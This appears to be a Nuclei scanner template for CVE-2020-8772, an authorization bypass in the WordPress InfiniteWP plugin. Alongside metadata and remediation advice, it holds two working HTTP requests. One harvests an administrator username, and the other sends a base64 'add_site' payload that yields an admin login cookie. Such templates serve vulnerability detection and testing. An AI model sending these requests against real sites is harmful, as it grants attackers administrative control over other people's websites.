WordPress InfiniteWP <1.9.4.5 - Authorization Bypass

id: CVE-2020-8772

info:
  name: WordPress InfiniteWP <1.9.4.5 - Authorization Bypass
  author: princechaddha,scent2d
  severity: critical
  description: |
    WordPress InfiniteWP plugin before 1.9.4.5 for WordPress contains an authorization bypass vulnerability via a missing authorization check in iwp_mmb_set_request in init.php. An attacker who knows the username of an administrator can log in, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can gain unauthorized administrative access to the WordPress site.
  remediation: Upgrade to InfiniteWP 1.9.4.5 or higher.
  reference:
    - https://wpscan.com/vulnerability/10011
    - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
    - https://wpvulndb.com/vulnerabilities/10011
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8772
    - https://github.com/ChoiSG/vwp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8772
    cwe-id: CWE-862
    epss-score: 0.96539
    epss-percentile: 0.99607
    cpe: cpe:2.3:a:revmakx:infinitewp_client:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: revmakx
    product: infinitewp_client
    framework: wordpress
  tags: cve,cve2020,wpscan,wordpress,wp-plugin,wp,infinitewp,auth-bypass,revmakx

http:
  - raw:
      - |
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: en-US,en;q=0.9
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: application/x-www-form-urlencoded

        _IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "wordpress_logged_in"

      - type: word
        part: body
        words:
          - "<IWPHEADER>"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: username
        group: 1
        regex:
          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
        internal: true
        part: body

      - type: regex
        name: username
        group: 1
        regex:
          - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
        internal: true
        part: header
# digest: 490a0046304402202450cd97ccd6437e35260bc6760f8d0d22bcfe0c954e842dc097917c98e04bce0220219b6a7bcfe2f47d2428eae01953e898adef91e82a82ac76fad864729fbc0419:922c64590222798bb761d5b6d8e72950